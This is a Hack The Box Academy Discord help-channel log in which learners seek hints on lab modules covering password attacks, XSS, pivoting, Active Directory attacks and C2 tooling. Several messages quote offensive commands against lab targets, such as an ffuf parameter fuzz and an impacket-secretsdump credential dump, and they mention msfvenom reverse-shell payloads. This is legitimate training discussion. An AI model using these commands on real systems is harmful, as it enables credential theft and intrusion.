Well if you do not have any pentesting knowledge (professional or via HTB Academy or similar platform) or experience, you are likely not going to get through the skills assessment.
I have done the pen testing modules on HTB Academy and have tried commands on PowerShell, but have gotten nowhere for this question :(. any advice and guidance would be appreciated if anyone has done this module
You may want to do the CPTS path in order, like it is supposed to be taken..
Oh, then you should be good and my previous recommendation still stands. Like I said, think easy stuff, i.e., cred harvesting, shares enum, roasting, etc.
oh ive just been doing the modules from fundamentals to hard
Has anybody completed intro to academy's purple modules?
Enroll in some path. They link each module in the sequence. It's easy to learn this way
any moderator or past CTF player can tell, in coming smacksmash-HTB CTF , will there be digital certificates of participation ????
Can anyone help me?
what for ??
hi
Web Attacks
Bypassing Security Filters
I'm stuck on this
Should I send the request with get
help me
Just be patient
I was in a hurry, sorry.
Was your question: "should I send as a GET request?"
If so: did you try?
As I understand the question: if I send it as "test", the POST request works, but if I use "test;" the POST does not work, it must be done via GET. But even if I send it as "test", it goes via GET, but I cannot use "test;"
Am I on the right path?
• Gateway Latency: 92ms
• Start time: 4 days ago
• Version: 1.4.4
I dont recall verb tampering, just using the provided field
Actually nvm I just changed the request to get after
It didn't take much it just worked
😢 worked, thanks
Is it possible to do things on my own terminal instead of web based terminal?
All you need to know about the VPN Connection for Academy
Thats for machines but when I do the cpts roadmap
:D
Oh yeah an other question Im at the Linux fundamentels lesson but when I read about a subject and going to the question the question is way different of the things I have learned is that normal?
It's not as different as you think
Most of the questions will relate to the reading in some way, or a previous section of the module
ZAP hud is iffy sometimes, I never really used/needed it
yes ZAP HUD was such a big pain in the ass for me. For the skill assessment of this module, you don't need to touch zap once if you want
Okey understand
Gonna do my best to ask this question without spoiling content from the module
Pivoting, Tunneling, and Port Forwarding | Remote/Reverse Port Forwarding with SSH
Within the contents of the module, there's an example of how to build a reverse_https payload for a reverse shell. Within that syntax there's reference to a "backupscript.exe" is this exe just an executable with reverse shell code in there? Just trying to understand for notes sake - please @ with replies
this is an msfvenom payload
and the name "backupscript.exe" is just a random name for the payload
Sweet, I thought so, but I just wanted to make sure, thanks
MAKE IT MAKE SENSE!
rip @west iris
it is the spawn, i just poped out into the side to work side by side
ok i see. I am new to this and have had to take time off for an extended health crisis. lik i said "make it make sense" and you made it make sense 🤣
Yo where to download a cyber-skills-benchmark-2025
Is anyone able to assist me with a question involving pivoting with the AD Enum skills assessment part 1.
I need someone to mentor me in hacking
What does this have to do with modules?
Academy will teach you
Well thats the only chat I have access, so I asked here
Cyber benchmark was the last biz ctf
ahh
What? On maun site it says download, Where I suppose to download it or buy or whatever
Idk if they've uploaded the challenges to the platform yet
just tell me where is that, on main site it is just a description and thats all
But we're veering off-topic still
You can search the writeups on the htb gh and find the challenge names off that
so in that book are only write ups?
No
I thought it was about some reserches etc
Look, this is getting off-topic, I suggest linking your account and at least asking in #general
I'm going through and doing some module labs that I need to get done so I can sit the CPTS and there is a particularly frustrating module "Password Attacks" Section: Network Services, now I know how to do all of this already keep that in mind, just checking boxes here so I can sit the exam.
But did anybody else have issues with the last flag for SMB? I have reset this damn box like 4 times, for sure have the proper creds (of which there are only 4 keep that in mind)
and the person who is supposed to have access to said share just flat out doesn't
its super annoying
the share is even named after this person
so I go and look at the "solution" in the writeup, confirmed its indeed what I am doing 1:1 and its saying indeed that should work and they should have access... they do not have access no matter what I do.
You all ran into this?
Naa I mean someone to show me around
No one's going to help with that without charging you or something. This field requires a lot of self learning.
I didn't have any issues with that one. If you want to DM what you have been trying, maybe I can help steer you towards other options to try.
I figured it out my dumb ass was misreading the pass by a single digit lmao
I feel dumb, it was on like my 5th reset where I was like dude wtf
I'm just tired :(
I have a question on Cross-Site Scripting (XSS) > Phishing > XSS Discovery > "Before you continue, try to find an XSS payload that successfully executes JavaScript code on the page."
It's obvious which parameter I should be testing. I tried XSStrike but I don't understand how to use the payloads it generated. I tried entering them in the image URL box but it doesn't seem to do anything.
I tried the payload that we learned to try when script tags don't seem to be allowed.
link the module page that you are for me, I did this one just need a reminder
Did you figure out the pw attack issue? I finished that module already, happy to help.
I did I was just being silly and tired, thank you though
I was legit missing the password by a single digit on that account when typing it out like a derp
only took me like 4-5 resets and me raging, but hey, we get there.
On windows lateral movement module skill assessment, I've got the WSUS user and pw but I'm unable to run a powershell prompt as admin to run the SharpWSUS.exe tool on WSUS. What am I missing here?
I've been stuck here for a while, can anyone provide a hint?
anyone for Introduction to Dynamic Analysis with WinDbg - Skills Assessment Q1? Do not see any relevant memory writes in userspace - not sure what to even look for
Are you still stuck here?
Sure am 😭
You can send me a DM and I'll see what I can do.
on it
@gray yacht are you available to be DM'd about a questions with the AD enum skills assessment part 1?
Are you unable to find answers to your questions by searching this channel?
correct
Sure you can DM.
The module : info gathering , skill assessment (web edition)
What is the API key in the hidden admin directory that you have discovered on the target system
For this fuzzing of subdomain or v host is required , yes or no ?
Can anyone provide some help for the LLM output attack skill assesment is been 5 days am still stuck on it
Use AI if your English is not that great or make some friends on here that are French 😎
Ohhhh guardiannn
Hello all, I'm currently doing the Authentication bypass via parameter modification question under the broken auth module, and I used the following ffuf command to fuzz the correct user ID for admin, but nothing turned up:
ffuf -w tokens.txt -u "http://94.237.121.185:41461/admin.php?user_id=FUZZ" -b "PHPSESSID=38i5ccsqc5vjqdndasl2h6o2h4" -mr "Could not load admin data. Please check your privileges."
tokens.txt is till all 3-digit no.s
can someone tell what I am doing wrong?
Hey did you ever get that figured out?
Try to replicate the request on the last picture of module using curl (means only the URL), then just use ffuf to automate those curls
Can I DM to clarify about this? don't want to spoil this for others
Has anybody completed Intro to Academy's Purple Module?
ask your question maybe i could help
can I dm you?
ok
Hey me too. I am stuck on injection part. What's your issue?
Hey just curious if anyone has any advice or techniques with connection issues to the target box. These issues being session getting dropped prematurely or the web services being unresponsive. I'm currently working on the nibble initial foot hold and privilege escalation challenge however my reverse shell continues to be dropped and the admin login page will drop every so often and reloading the dashboard takes a few attempts and minutes to reload. I've tried gaining access from my local host, the pwnbox, and my VM with the same issues propagating across all of them. I've had my most success from the pwnbox however the sessions wont stay open long enough to complete enough commands to finish the lab.
yo guys sorry for being off topic but i can't acces the general channel in this server. Is it because I haven't verified yet or what? If so, does anyone know where my identifier is
Well i dont know what we need to do. Like did we need an injection to get a admin_key?
...?
Try it and find out 
I did but was not able to find any thing I tried some 3,4 wordlists
Aight DM me
-# Unsolicited DMs will be sent rules... and meme
i used hashcat but it shows "no hashes loaded"
I'm kinda stuck with the password attacks module, assessment I managed to got Administrator on jump01 (winrm), but don't have a clue what to do next to go to DC01, any tips?
u putted hash in a file?
hey discord, quick question.
for this module Android Application Static Analysis, do i need an x64 computer? im on an m1 mac at the moment
yes
dm ss of terminal
dm the user u r on
okay after spamming commands as fast as possible i made it
I haven't done that module but I also have the m1 and always have problems when compiling tools and then running them on target hosts, so what i do is create a docker with the same architecture as the target. Not sure if your in the same situation but maybe it helps
how is in the sliver module still crackmapexec being used ?
because it was written when CrackMapExec was still active
time for update 🙂
having trouble getting the pivoting part to work
because of older stuff, i think ill switch back to the htb vm, since older stuff is probably installed there.
Hello, can you please help me
I was able to get the DC01.pfx file but don't know how to proceed
when i try to to use the gettgptkinit.py to pass the certificate the command just hangs there until timeout
so can you please walk me through how did u solve it, i got the first flag using the second method but couldn't dump the adminstrator hash even if I had the klist set as the jpinkman, also why do we need the two ip addereses for?
both of those modules are incomplete. it was frustrating to officially finish them tbh lol.
😮
ill eventually have to if i want to go for CAPE
did u do with own box
or htb vm
coz i got to the assumed breach part on my own vm, but the pivoting part etc is to outdated to make it work on my own machine.
could you please elaborate
well u have to put extension.json in sliver
but its outdated so when u install it on your machine it doesnt wanna connect, since its a different version.
talking about the pivoting part in Chisel
i havent touched the CME one for a while, but i got stuck on an answer even after a lot of help. i cant remember exactly what it was. as for sliver, i knew exactly what i needed to finish the skills assessment but i could still never get through. i verified with others that i was doing the right thing, generating my beacons and implants correctly. they also had trouble. so maybe some skill issue but i've used CobaltStrike just fine.
I'd need to look at the modules again to identify properly what the issue is. i obviously moved onto other things for the moment lol.
always nxc. its the best lol
While doing the assessment from password attacks module, I tried to scan the internal network through proxychains but that didn't work, although scanning network hosts from internal host using dropped binary of nmap worked like a charm. Any idea why nmap wasn't working with proxychains?
cos nmap tries to ping but ICMP requests don't work through proxychains
I tried to use -Pn switch, but it didn't help
probably also some memory issues
Ohh, okey, thanks!
dm
cant seem to get eyewitness to work any help?
Hi guys am new here. Nice to meet you all. I want to learn ethical hacking but don’t no where to start.
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
Am I supposed to read something in the terminal to the left of the 200 status while using ffuf?
deleted your image bc spoilers
generally speaking, some wordlists have blank lines meaning that if you visit /some/endpoint and the endpoint is blank, it still returns positive
So it's normal that it comes out that way, right? It's just that I've run ffuf several times already and the directory isn't showing up anywhere, and I'm not getting any other errors
im doing the 3º question here
could it be posible im using a small wordlist ?
the second question ask for the directories , and i do that on that direcotries and subsecuent ones insisde
yes but there's several subdomains per q1
and using the extension i found
there are multiple extensions
im doind indepth 1 , need to go further ?
ye
recursive
but my main point is that there's multiple subdomains
it's possible the one in your screenshot isn't the one you're looking for
i search in all the subdomains i answered in the question before
i takes forever hahaha
im doding -t 200 but having no errors , so im not missing anything right ?
it could also be your wordlist
i used /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ and medium
could it be i need to pick the large ?
nope the word is in that list
im resetting the machine and trying again , dont know where the problem is ^_^Uu
Hey, does anyone have any contacts at Hack The Box or access to someone from their team? I need to speak to them directly regarding an urgent account issue. Please let me know if you can help
make sure your extension list has the . prefix i.e. .php,.html,.svg
You can contact support
Need to speak to a person? Learn how to reach our support via HTB Labs.
you'll have to contact support, discord isn't an official mode of platform support
yeah , im so stupid
forgot , web prefixes had in their list :/
for the answer make sure you put :PORT and not the actual port number in the answer
yeah i read that , thanks fcor the advice
what is this server even about
nopeee HTB supports guys never reply
see #welcome
you'll have to be patient; the only way to get help with your account is via support
ok thanks mate
anybody on the prompt injection attack skill assessment? HaWa corp website
I am too. Did you progress?
Working through Meterpreter Tunneling and Port Forwarding
First question - Can you transfer a payload via ssh? I was able to use a separate method for this answer, but transferring a payload won't work --> stuck for second question. Please @ with replies
Good afternoon
Anyone work on Intro to C2 Operations with Sliver Kerberos Delegation & Enumeration and get the s4u impersonation to work? SpecicallyStep 3:
Impersonate a privileged user and request a TGS ticket to access the CIFS service on the target computer. For example, the privileged user can be a local administrator of the target computer, sometimes we can even impersonate the domain admin. But the domain user could be configured as cannot be delegated. In our case, child\Administrator cannot be delegated, however, another domain admin user child\carrot can be delegated, so we impersonate carrot. The service name will not be verified, so even if the target service is eventsystem, we can modify it as the CIFS service.
I run the s4u just like it shows in the module but I don't get access to srv02 per my screen shots
I can't impersonate the carrot user for some reason. I have reverted the machine, reconnected my vpn, I did this yesterday and today after VM, vpn and reconnecting to everything and it still doesn't work.
Still doesn't work
hello guys in Pass the Certificate i have got the password for Administrator but i am not able to login any hint?
What are the contents of flag.txt on Administrator's desktop?
Not working unfortunately
Yeah works fine, can ssh in fine, but scp gets denied I guess?
lmfao
feel free to dm mate
Can anybody help me with AI red Team Insecure output handling section? I am stuck!! I am able to get the cookie for the first XSS assignment. I understand the 2nd assignment but getting stuck. a hint would be very welcome 🥹
Ran this directly on Web01 and the commands all work like they should however the impersonation doesn't work and I can't read the c$ drive on srv02.
This is not a server for illegal hacking - that isn't welcome here
lol
This is a server for learning ethical hacking, whereas what you're asking for is illegal.
<@&486603600085123073> for your visibility
Back to this though, I'm unsure how to complete the 2nd question in this module. I'm trying to only use meta / meterpreter because that's what this section is based on. I can't get the payload to transfer to the target host, unsure how to proceed from here
@digital dirge English only please
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
can i do ethical hacking from window
You will get a VM to use from HTB that you can utilize if you do not have a VM or something else capable
^
You should be able to use the creds that have been using to access the pivot host to remotely access it and move your payload.
Then just ssh into it and use wget or curl if they are installed.
so stand up http server from my host first, then just grab from my "server" first?
While I have someone's attention - any idea why I tried to do the autoroute with msf but it keeps failing to validate session? The autoroute module won't run because there's no sessions running - verified that the msf proxy server is running as well
Please refrain from sending a DM unless I've already said to DM me. Are you still stuck on this?
So you've executed your payload and established a meterpreter session?
No I was attempting to utilize the Scanning without ICMP -> SOCKS with Proxychains bit, but I could be missing something.. There was a lot of syntax in this module, just trying to wrap my head around all of it
I don't remember that part of the section. You're working on this section Meterpreter Tunneling & Port Forwarding?
Yeha
Now I'm trying to get the payload using the http server you were talking about, just not finding my file I guess?
Go ahead and send a DM, so I can see what it is that's going on.
Ok guys and hello. Having great trouble with loading SocksOverRdp
plugin
if someone did it
I need help with a project
how do I do the labs in the modules. I am new to this platform
If you are new to the platform, Intro to Academy module will help
I also have a question. Do you find it easier to complete the practical exercises in the pwnbox directly or do you have a kali vm where you complete all the exercises.
I use my own (Kali) vm
how do you accomplish this. I get that you have to download the vpn file and connect to it.
Follow these simple steps and connect to the VPN! Quick & Easy.
A VPN connection is required to practice on Hack The Box, but it can be challenging for total beginners to set it up. Here's a step-by-step process to connect and start training your hacking skills.
Follow Hack The Box for more tips and content.
🤔 For more questions and troubl...
All you need to know about the VPN Connection for Academy
thank you!
Is anyone available for a little help on Cross-Site Scripting (XSS) > Phishing > Credential Stealing?
https://academy.hackthebox.com/module/103/section/984
I believe I have everything configured correctly but 'creds.txt' isn't being created. Also, I get 'Not Found' on the victim browser logging in. I do see the creds come across my PHP listener though.
Everything works find if I use a netcat listener. I see the creds come across etc. I'm thinking it must have something to do with the php script?
hey all. Doing the sqlmap skills assessment, and am consistently getting slightly incorrect versions of the DB names. Trying to figure out why, wondering if anyone else has had this before. I have tried many different tamper and threads options, and still get incorrect DB names with 0 entries. I thought maybe it is due to latency with the timing attacks but would love a nudge in the right direction
Hello guys I'm new to you I want advice to start learning cyber security shops
No, my notes say: "nmap's proxy option isn't fully finished yet so not all functions or traffic may be routed through the proxy. We can just use proxychains instead."
Okay
Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
@limber schooner ^
Yes
Hello everyone, I am on Attacking Windows Credential Manager section. i have gotten the cmd as admin and backed up the credentials, can someone give a small hint on transffering mimikatz or lazagne out to it? i have tried scp and winscp, and cert util. Thank you in advance.
Yesi have got admin pass but not able to login or use it
Yes!
xfreerdp is decent it has the /drive:/directory/location,sharename
Well lets see what's going on.
Just give me 3 m while i run my pc
Hi,
I have a question for Kernel exploit in the windows Privesc for the CVE-2020-0668. In the exemple , they use the MozillaMaintenance service but It seems we don't have the permissions ot start this service in the lab.
https://academy.hackthebox.com/module/67/section/627
I'm wondering, is it normal, should we find another service ? In this case, which to chose without breakinbg our machine ?
so for example that would be 'xfreerdp /c:/shared,mysharedfolder'?
no
it's literally an option labeled /drive:
the /directory/location,sharename can be swapped around too, so you can do /drive:linux,/tmp for
it gets mounted to a share \\tsclient\sharename in the above example \\tsclient\linux
Did you get it figured out? If not DM me
hello guys i someone compromised my original account and used it to spam so i got banned but after i got controle of the account was wondering where i can get in touch with an admin to maybe help me get back in
@fathom pendant can you pls help out with this
og discord account?
i will send you a request with the account
any hint guys hosts file: 10.129.234.174 dc01.inlanefreight.local
impacket-secretsdump -k -no-pass -dc-ip 10.129.234.174 -just-dc-user Administrator 'inlanefreight.local/DC01$'@dc01.inlanefreight.local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[] Using the DRSUAPI method to get NTDS.DIT secrets
[-] Bind context rejected: invalid_checksum
[] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[] Cleaning up...
i'm in a call rn but give me an hour or reach out to another mod
How easy is the new cert
don't know it literally just dropped
oh
just sent the request name is MONTERO_FRINCH
You can DM me
ty i will send you a request with my og account rn
just dm me
I think this is the first time I was able to self rescue! It looks like I was running the PHP listener from the wrong directory 🤣
I am stuck on LLM-Output Attack module's skill assessment. I have the admin's password hash but am unable to crack it with all types of wordlists that are typically used. I was able to recover the admin_key but that is also not opening up newer avenues. Am I missing something? Can someone please show me the way. Thanks.
ty @cloud urchin
I'm way more stuck than I thought I was on https://academy.hackthebox.com/module/103/section/984 🤣
I don't want to post spoilers, anyone available for a quick nudge in the right direction?
DM me if you're still stuck
do i need to purchase a VPS in the setting up section?
no
okay ty
What is the largest Wide Area Network (WAN) that connects millions of Local Area Networks (LANs) globally?
Isn't it "Internet"?
Yes it is
yeah
What type of message does a client send to accept an IP address from a DHCP server?
DHCP Request?
Alice's laptop receives this offer and sends back a DHCP Request message to accept the IP address.
why it doesn't accept answer 
brother just try some other stuff i got it first try looking at the page for just a couple seconds
look at the DORA process
OMG itS JUST REQUEST
Dora the explorer 
nah it's about a format of answers
it accepts "Request", but not "DHCP Request"
idk what the problem to care about users and add a couple of answers as valid, they are valid anyways
true
Does tier 2 and downward give you a good foundation and skillset to start doing pentesting? Or would i need to work on some tier 3s and tier 4s?
why is RDP so horrendous in academy
#1234357888114364508 if you want to suggest something
CPTS is at most t2; if that helps frame your understanding
anyone else having an issue when spawning a lab?
it takes forever saying Target(s) are spawning...
Try pressing CTRL+SHIFT+R then try again
it worked, thanks 
can someone guide me 😐
@analog carbon do not spoil. please read channel desciption at the top
sorry, how can I get help:|
just ask for the module name and section and or drop the url to where you need
Sometimes changing regions breaks/unbreaks it
Use the mask attack described in the reading
thank you solved ❤️
https://academy.hackthebox.com/module/290/section/3271 I need help on last 2 question of this
Im having trouble connecting to kali vm in Windows Attack & Defense module -> https://academy.hackthebox.com/module/176/section/1778
I keep getting request timed out messages can anyone help? I can connect to the bob user but not the kali one
iirc you have to connect to the kali machine from the bob user
sorry i probably wasnt clear, i was trying to connect to the kali from bob and it was RTO'ing
No. Either Ghidra or Ida free can be used.
Doing this: Linux Fundamentals, find files and directories (question 1) what is the name of the config file that has been created after 2020-03-03 and is smaller than 28kb but larger than 25k, the problem is when i do -exec ls -al {} ; in the find command, it simply says it cant find -exec
the -exec is part of the find command
right im using that yet it aays /user/bin/find: missibg argument to ‘-exec’
did you do \; to end the exec args?
it needs to be escaped, it's not a typo in the module
yes with 2>/dev/null
do you wanna see the full command
so it ends \; 2>/dev/null ?
also im doing it in powershell should i just switch back
you should probably be doing this in bash terminal
yes 2>/dev/null is the succeeding command
alright ill see the results
it worked!
Is there a way to set it for the storage to be below 28k with find?
-size +Ns and -size -Ns; N is the size, s is the storage value (b,k,g,t...)
- is above, - is below
so +Nk is above N Kilobytes, -Nk is below N kilobytes
Two separate commands right?
yes the -size has to be set in their own separate parameters
-size +10k -size -15k <-- range between 10 and 15 KB
Thank you a lot
Aaand new problem, no files were found within that range
Nvm found the problem
user error?
I forgot to ssh into htb academy 😭😭
All that just to find out im missing ssh
Is there maybe a more affective way to count files 😅
-sU -sV not showing results?
No, and there is only the service name, and no version number after the service name
And it was also wrong for me to submit the answer using the service name
Try connecting via netcat
If all else fails: use pwnbox [turn off the vpn on your own machine]
I tried it with pwnbox and it worked. Thank you.
There's instructions in #welcome
Thanks
I've been stuck with the 2nd XSS of this module https://academy.hackthebox.com/module/307/section/3586
Can anybody nudge me in the right direction?
Cheers, I'd have a general question: If I finish a module while having an active subscription, do I still gain the reward-cubes for the completed modules? (you know, the small "+1 cube" thingies on some of the lab-questions)
yes
in-general the cube return is the # you get over the full module
that all add up to the 20%
Does anyone having problems in RDP into the WIndows Group Privileges labs?
I keep getting credentials wrong while i copy paste them into xfreerdp and rdesktop
Hi If i have gained a local admin account on a parent domain, can i authenticate with that account to a child domain?
that depends on the forest/trust relationship
if its bi-directionary or transitory than yes
or unidirectional actually
so probably yes. but you can check those perms with something like PowerView
or if you got a bloodhound collect, hopefully it picked those up in its collect and if so, then you can view in BloodHound
another option may be to use your admin privs to gain more creds and then see if there is an account that is both on the parent domain and the child domain. dual homed accounts would be useful if you get dcsync
i dont think ive done that, but usually you'd get that in an nmap scan when you look at the banner
then try vsftpd -v
or --version
did that work?
i had a quick look, and it also looks like the linpill.sh they present in that module is a linPEAS light. it looks like it produces a bunch of .txt files with system info inside? so checking the output of that pillaging script should also help
While doing password attacks, I have no idea how to find the password using snaffler + powerhuntshares doesn't seem to be working despite basically copy-pasting the default command outlined in the material lol
guys i have a question. how can i dump a TDO ( trusted keys ) without using mimikatz? how can i do the same thing from linux? secretdump and lsassy are not able to dump that information
I've been drowsily doing the CPTS path. Up until the password attacks kind of meh.. But the skills assessment was pretty great. I actually learnt something, and it was fun to do. I wasn't convinced after the convoluted mess before that it could have a coherent skills assessment that covers the content well. I was wrong. However built that lab, congrats, job well done!
you may need to double check, or just try it out, but possibly using ntdsutil to copy SYSTEM and SECURITY registry hives
or a shadowcredentials attack
particularly useful if you have backup operator writes so you have extended copying privileges
already done several times, and tried to dump ntds.dit offline too, still no way to get that info XD
basically i'm trying to run this module: https://academy.hackthebox.com/module/253/section/2810 without using rubeus and mimikatz
ahhh i havent done that one yet
what section is that?
i cant see unless i unlock
Active Directory Trust Attacks - trust account attack
ahhh ok. then i'd be looking at impacket
there were a few 'unofficial' scripts, like rbac and childparent
but without having a proper look at the module im just guessing. i havent done any 'proper' AD attacks for a few months and im feeling rusty. sorry mate lol
still need help?
i am getting netbios timeout in smb...i tried my own vm and htb pwnbox...i am not able to ping the box...dont know what is happening
I've been stuck with the 2nd XSS of this module https://academy.hackthebox.com/module/307/section/3586
Can anybody nudge me in the right direction?
cant ping coz it might be windows
theres a flag to incerase netbios timeout use that
can u dm me
pls check dm
Hi there I'm new here but I need help if anyone is available
I've been stuck on the Active Directory Trust Attacks - Skills Assessment Question 2 for a while. I'm fairly sure I know the attack and searching this channel hints I was correct, but I cannot make it work and I cannot see why.
Have you enumerated a path?
it looks like i have but I'm happy to be told it's wrong since i've been unable to use it
From what I’ve seen lately, Bloodhound-CE won’t give you a straight up path.
If you’re like me and prefer old tools, Bloodhound legacy should give you a path to own apexcargo
BH CE shows me a path but if there's a more correct path in the legacy option I guess i can fire it up and try
It only shows the user and group, not what one of them can do. At least from what I’ve been told
I’ll always resort to Legacy as it’s more straightforward
Socat Redirection with a Reverse Shell
Module mentions using the windows/x64/meterpreter/reverse_https payload - host is in linux, and I didn't see a linux equivalent to this - am I missing something?
Can I skip the step of Windows in Setting Up module? Is this step unavoidable in the future?
I've just redone this lab using BH Legacy, I suspect your tip was for the first question. I can't see a better path for the second.
The second question is for owning apexcargo. If using Bloodhound legacy didn’t show you anything different, then, you’re probably running the wrong parameters in your attack.
You can DM if you’d like
Anyone has done the Password attack skills assessment I could DM ? I think I'm pretty close but I've been stuck for days
I can try
i dont understand dmz how can i solve password attacks skill assessment
should i do the pivoting module fist
also, is scanning through proxychains supposed to be damn slow
htb please make it so that on complex modules, you can add more time to the box
i just came back from gym, and now have to do the whole exploit chain again. etc
while my beacon still works.
i have 32 mins remaining and cant add more time anymore to the machine.
You can add more time to the pwnbox when it reaches 30mins or lower iirc, and you can extend target time to a total of 360 mins
no you cant
if u already added time before
its on 29 mins now, and i cant increase it.
because i already allocated time before.
Hello, I have a question on this part, it shows incorrect password if I remove /netonly
Targets are a max of 360 min lifetime
yea i know
but i want it so that if you have to do something or whatever, and then it counts down from that time that its possible to increase the time.
that would be nice if its possible
/feedback
because now i have to do the entire attack chain etc again.
so i have to reset the machine, while its not even neccesary normally
i sended the feedback
ty
Hello, I have a question on the Active Directory Enumeration & Attacks - DCSync Q#2, I saw some advise here that the runas command should not have a /netonly however when I try that one, it does not work, basically it gives me a password error. I already reset the machine and try Start-Process command to but still not working. Is there a specific command that I can use?
Hello @novel matrix , I can't log in to HTB Academy account after trying many times, and I can't verify on Discord to chat without logging in
it says "We think you might be a bot..."
You'd have to reach out to support on the site no support is provided over Discord. Side note, if you're using a VPN try disconnecting.
Contacting via Email
If you are unable to reach the support chat, you can always contact support directly via email by emailing customerops@hackthebox.com.
Any help please?
Nvm. Got the answer
nvm silly question from me 🙂
Hey guys, regardless of which machine I'm working on, very often when I try to scan it with nmap, I receive the following result whether I use sudo or not.
For example, in the solutions section it says to use nmap -A some_ip and you will get information about the ports. In reality, this is what I get as a result:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 17:39 EEST
Nmap scan report for 10.129.22.169
Host is up (2.9s latency).
All 1000 scanned ports on 10.129.22.169 are in ignored states.
Not shown: 952 filtered tcp ports (no-response), 48 filtered tcp ports (host-unreach)
Impossible from my side to access my boxes since 15/20 min (not a problem from my side, my connection is good). the box crashed and desppite rebooting nothing up. I even change the VPN location. Am I alone ?
Which module? Are you using the Pwnbox at the same time as the VPN?
I am in the module Introduction to Linux Privilege Escalation (path Environment Enumeration) and I have no idea how can I solve this exercise:
"Enumerate the Linux environment and look for interesting files that might contain sensitive data. Submit the flag as the answer."
any suggesties please
Currently I am trying this begginer box
https://academy.hackthebox.com/module/112/section/1078
Using VM and i am connected to the VPN through OpenVPN
Personnaly for password asstesment if you're lost just take all files sort them by dates and you will find some files
Oh that's a skill assessment about footprinting. Probably need to scan for more than just the top 1000 ports 😉
Thanks, let me remove the flag and against all ports
nmap -sC -sV 10.129.22.169
nmap -A target_ip returns me the correct result on the pwnbox, but on my vm
└─$ nmap -A 10.129.22.169
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 18:05 EEST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.21 seconds
To be honest, I've already lost hope of finding anything that even remotely resembles a flag. By the way, I can get root access, and that's pretty easy, but I just can't figure out what is meant by an 'interesting file'
The Pwnbox and VPN use the same IP, so you're going to run into network issues using both at the same time.
correct, i stopped the the pwnbox and reset my vpn just in case and run the same nmap command
give me the module link, but it could be a lot of things (ssh keys, history file, credentials somewhere, configiration file, database, etc.)
I even terminate the box and start a new instance
.viminfo, i also had a lot of difficulties for this one, so I use this command now, it gives you the latest 50 files modified :
find /{bin,etc,home,lib,lib32,lib64,media,mnt,opt,root,sbin,snap,srv,tmp,usr,var} -type f -printf "%T@ %p\n" 2>/dev/null | grep -v -E "/var/log/*/*|/usr/lib|/var/lib|/etc/systemd/system|/snap/core2*|/snap/lxd|/snap/snapd|/var/cache" | sort -n | cut -d' ' -f 2- | tail -n 50 | xargs ls -lat
Strange, I'm analyzing the .viminfo file I found in the /root directory, but I don't see anything interesting in it...
deleted the VPN certificate and download it again seems to fix the issue
This is just madness, I'm on the verge of a breakdown
Not root other user
the windows VM in pivoting, tunneling and port forwarding goes unresponsive every time i download a file inside there
i have been doing this skills assesment for 10 hours because ive had to reset the box 30 times and try to switch VPN config, use the pwnbox, use virtualbox, try everything
and this has been going on for 2 days too
why do nmap shows drastically different results everytime it is ran for host discovery?
i tested it on my local network nmap -sn 192.168.1.0/24 for host discovery, it showed different results each time, it seemed very unrelaiable for host discovery.
so what i'm i missing here?
Doesn't sound module related as no modules use that ip range
can someone help a brother out and check if you have the same problem as I do?
it is a question related to https://academy.hackthebox.com/module/19/section/101
and of course the module doesn't use a local network, it uses a different network that i have no access over, so i used my local network for testing 🙂
You're not using the right IP.
Connect to the VPN or use the Pwnbox and you can scan the target it provides
you are correct, i was scanning the exact network they used which is not reachable 10.129.2.0/24.
i was supposed to scan the network i'm connected to via the VPN 10.10.15.0/24.
but still, why were the result inconsistent when i used it on my local network (real world scan scenario)?